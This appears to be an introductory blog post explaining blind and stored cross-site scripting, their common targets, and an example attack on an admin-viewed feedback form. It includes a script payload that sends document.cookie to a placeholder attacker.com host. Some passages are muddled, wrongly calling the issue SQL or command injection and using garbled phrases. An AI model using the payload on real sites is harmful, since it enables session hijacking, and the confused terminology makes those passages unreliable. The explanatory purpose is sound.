What is Blind Xss?
Blind Cross-Site Scripting is a type of Cross-Site Scripting attack in which the injected script is executed in the context of another page and different circumstances compared to the page in which it was inserted.
Blind XSS differs from regular XSS attacks as the attacker cannot see the effect of the injected script in his or her browser since the script is executed in a place that the attacker can not access.
This is often the case where the injected script is stored in a database, log file, or any other back-end system and later used in another user’s browser, for instance, the administrator or the typical website user.
The “Blind XSS” name comes from the attacker not directly seeing the impact of the injected code. They mostly have to rely on secondary signs, which include changes in the server’s behavior, attempts to access unauthorized data, etc.
That would help them to know if the attack was successful or not. One of the most significant difficulties with blind XSS attacks is that they are launched by taking advantage of the trust between different individuals/units of a website.
As rogue scripts can be implanted into various form input fields or data storage areas, attackers can deviate from external security mechanisms and access restricted data or perform adverse activities in the application.
What is Stored Cross-Site Scripting (Stored XSS)?
Stored Cross-Site Scripting (Stored XSS) is a type of Cross-Site Scripting (XSS) where a malicious script is injected into a web application and is permanently stored on the server or, relevant, the client-side storage.
Unlike other XSS attacks where the payload is delivered to the clients on demand and in one or another, Stored XSS involves the injection of a script permanently stored in the application database, file system, or any other storage repositories.
When a victim. Visits the compromised webpage that contains the injected and stored malicious script, the script executes within the context of the victims’ browser, creating various security vulnerabilities.
Stored XSS attacks exist in web applications where users provide and save data that is later executed on all other users’ ‘clientside’ without checking for specific malicious scripts in the data input.
These weaknesses make it possible for the attacker to insert different types of code, including JavaScript, HTML, or any other type of web script, into the part of the Web page that the user is supposed to complete, for instance, the comments section or a user profile, forums, or bulletin boards.
When other users click through to the targeted pages and view the stored content, the injected script runs in the victim’s browser, which may result in unauthorized access to user sessions, theft of user data or passwords, web page vandalism, or some other form of hostile intent.
Common Targets of Blind Cross-Site Scripting
Administrative Panels
Web criminals tend to go for form and input areas visible to administrators. For instance, registration forms, feedback forms, and support tickets usually serve as the main entry points.
The second type of attack happens when the admin views the submissions; the malicious script executes in the admin’s browser, making him/her vulnerable to session hijack or taking action in his/her name.
Logging Systems
Logging systems that record user inputs or actions are target types that can have their contents when an application stores user inputs such as User agents, Referrer headers, or input fields and displays the log information on a web interface without scrubbing the data.
When an admin or developer reviews the logs, an attacker can embed executed scripts.
Customer Support Platforms
Applications that deal with user-generated content, such as customer service, customer support tickets, and customer interactions over chat or emails.
For example, the submitted dynamic content is a form of user input that an attacker can include in scripts executed when the content is reviewed by support staff.
Email Systems
Web-based email clients that support the rendering of HTML bodies. If the application does not sufficiently filter incoming emails, a virus attached to an email letter can be executed when the mail is opened.
Web applications may produce automated email reports; inherent to such content, user data might not be sanitized.
User Profiles and Content
Data input areas are open to regular users, and an attacker can enter some content that will be stored and then retrievable by other users, such as comments, reviews, their particular profile page, etc.
Since the SQL injection is passed within a profile update or comment, this script runs when another user or an admin looks at the profile or comment.
Blind XSS Attack Example
Here, an attacker attacks a website with a web application that features a customer feedback form publicly displaying the received submissions in an area accessible only to administrators.
The problem is that the script does not sanitize the information provided by the users before writing it to the command injection string.
The attacker plans to run an exploit to achieve his goal: pop up a script in the admin’s browser that would capture session cookies.
The attacker submits malicious feedback containing the following payload in the feedback form:
<script>
fetch('https://attacker.com/steal-cookie', {
method: 'POST',
body: document.cookie
});
</script>
This payload is stored in the database without prior sanitization so that format sets are not compromised. When the admin views the feedback, the script is invoked in his/her browser.
This script means the cookies belonging to the admin pass through the attacker’s servers.
Using these cookies, the attacker can perform subject-altering attacks to rewrite the admin’s identity and have full access to the administrators’ options in the web application, even if they are not administrators themselves.
Get brief guide on How to Detect, Prevent, and Test for Blind XSS Vulnerabilities
Top comments (0)